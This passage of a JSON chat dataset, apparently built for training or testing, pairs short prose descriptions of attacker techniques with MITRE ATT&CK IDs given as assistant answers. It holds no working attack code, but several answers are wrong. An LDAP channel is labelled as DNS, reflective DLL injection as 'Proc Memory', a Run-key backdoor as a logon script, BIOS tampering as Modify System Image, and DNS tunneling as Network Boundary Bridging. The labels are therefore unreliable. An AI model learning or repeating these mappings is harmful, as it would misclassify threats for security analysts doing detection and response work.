                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to hide their tracks, the threat actor first stages data on a remote web server before exfiltrating it over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker calls a target pretending to be from IT support, asks for the employee's login credentials to \"fix\" a reported issue, then uses the information to access internal systems."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds a malicious hyperlink in a PDF attachment, prompting the user to visit a malicious site hosted on a compromised domain."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses a private threat intelligence platform to retrieve analysis of recent phishing campaigns targeting the victim's sector."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor leverages the LDAP protocol to query a directory service for encoded instructions."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged the NTDSUtil tool to alter the enterprise trust relationships, pulling in an external domain silently."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain and uses a large pool of IP addresses that are rapidly swapped in DNS responses, implementing fast flux DNS to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a tool that enumerates open RDP ports and establishes a remote desktop connection for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed PowerShell commands via cmd.exe to enumerate user accounts on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies the description field of an existing service to hide the malicious nature while keeping the same executable."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use PowerShell to download and run a hidden miner, monopolizing system resources for coin generation."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses reflective DLL injection to load a malicious library directly into the address space of explorer.exe without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromised the package signing key of a popular open‑source project, allowing them to release unsigned malicious binaries that appeared legitimate."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed a DNS cache poisoning attack, causing users to resolve the target domain to an attacker‑controlled IP address."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script was given a .pdf filename and icon, tricking users into thinking it was a PDF before execution."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a legitimate cloud storage provider to exfiltrate stolen documents."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary replaces the system's SSL/TLS library with an older version that only supports weak ciphers, forcing encrypted communications to downgrade to insecure protocols."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes a PowerShell script that rotates through a list of 5 passwords across 10,000 usernames."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a signed binary that loads plugins, the attacker introduces a malicious plugin signed with the same certificate, effectively bypassing signature checks."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code parses the local SQLite email stores used by Apple Mail on macOS for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses PowerShell to pull Azure DevOps pipeline variables that contain secret keys."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary collects information about connected peripherals, including serial ports and Bluetooth adapters."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a VBScript that uses the Shell object to launch cmd.exe with arguments, indirectly executing further commands."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker altered the BIOS flash image, inserting malicious firmware that persists across reboots."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set deploys a virtual instance to execute scripts, ensuring that artifacts are isolated from the host OS."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the \"Shell.Application\" COM object to programmatically copy files between processes, facilitating lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The weaponized payload is disguised as a popular software update, but the code signature is deliberately malformed to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed when the victim runs 'netsh interface ipv4 add address' after the attacker has placed a compromised netsh helper DLL."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a crafted .exe installer that launches a backdoor as soon as the user double‑clicks to start the installation."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts and re‑encrypts user passwords with a reversible algorithm before storing them in the Active Directory, enabling future decryption and use."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the NtQuerySystemInformation call with SystemModuleInformation to get driver details."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed by adding a malicious script to the user’s Run registry value \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a malicious LSASS driver that loads at system boot to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware automatically registers a new account on the target's cloud platform using the provider's public signup endpoint."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged DNS queries to stealthily transmit stolen files from the victim machine to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create fake review sites with SEO‑friendly content that link to malicious download pages, causing users searching for product reviews to be redirected to malware."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is established by creating a scheduled task that runs a malicious DLL with highest privileges on system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors conduct WHOIS searches on domains linked to the victim organization to uncover technical contact information."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider runs a script that enumerates all domain users with SPNs, extracts their Kerberos tickets, and offline cracks the encrypted portion to reveal service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin used PowerShell to modify the LDAP authentication settings on the DC."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor wipes the system's network connection logs and removes any stored network configuration details to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates a duplicate token with modified SID values to masquerade as a higher‑privilege user within the domain."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stores credentials in the Registry key HKEY_CURRENT_USER\\Software\\Credentials for later use."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant computes domain names using a sliding window over recent system logs, then resolves them via DNS to obtain instructions."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious USB drive labeled as 'Company Payroll' is left in a parking lot; when plugged in, the autorun.inf file launches a hidden executable."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employed \"kubectl exec\" to modify environment variables of a running pod for persistence."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy sensitive files onto a USB flash drive and later retrieve them from an offline system."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion sets a malicious screensaver binary in the startup folder, causing it to run automatically when the system enters screensaver mode."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware tampers with the security tool's update service, preventing it from receiving new signatures."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor updates the RADIUS shared secret on a corporate firewall, allowing them to intercept user authentications."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious script, the attacker reads the SAM registry hive to dump password hashes for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes a malicious service binary to %ProgramData% and creates a service entry pointing to it via net start."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group used a botnet of compromised Windows servers to launch ransomware payloads across the network."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query public DNS records and search engines to locate domain names and web servers that belong to the target organization."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware establishes a command‑and‑control channel over TCP port 8080, avoiding typical ports used by legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor issues the PowerShell cmdlet 'Get-WmiObject Win32_DiskDrive' to identify external storage devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary harvests a user’s security token from memory, then reuses it to execute commands as that user on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious LaunchAgent plist into ~/Library/LaunchAgents to execute code at user login."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use domain parking services to hide malicious domains until needed for an operation."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hijack a legitimate macOS application by adding a forged LC_LOAD_DYLIB load command that points to a malicious dylib."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses automated scripts to query publicly available web services and download corporate documents from shared drives."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant uses a fast‑flux style DGA that frequently changes the IP addresses associated with its generated domains to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a misconfigured mail server to issue a POP3 RETR command and pull all emails from target accounts."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses standard ICMP echo requests to embed its commands, making the traffic seem like normal ping traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan employs process hollowing: it creates a clean process, clears its memory, injects its own malicious module, and then continues execution as the legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary created a new Windows service named 'svchost.exe' and pointed it to a malicious DLL to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploaded harvested files to a private GitHub repository using a personal access token, effectively exfiltrating data over a web service."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code altered the domain's Group Policy to enable SMB v1 for legacy compatibility."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised portable media device to stage data before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious trojan scanned the network using SMB null sessions to list available shares and hosts."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script on a compromised host initiates a DNS tunneling channel that carries internal network data to an attacker‑controlled domain."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a new IAM user in the victim's AWS account to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Java’s java.util.zip classes, the threat actor creates a zip archive of collected log files."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script inserts a malicious DLL path into the Image File Execution Options registry key to hijack legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script sends DNS queries for common service records (SRV, A, AAAA) to enumerate internal servers."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
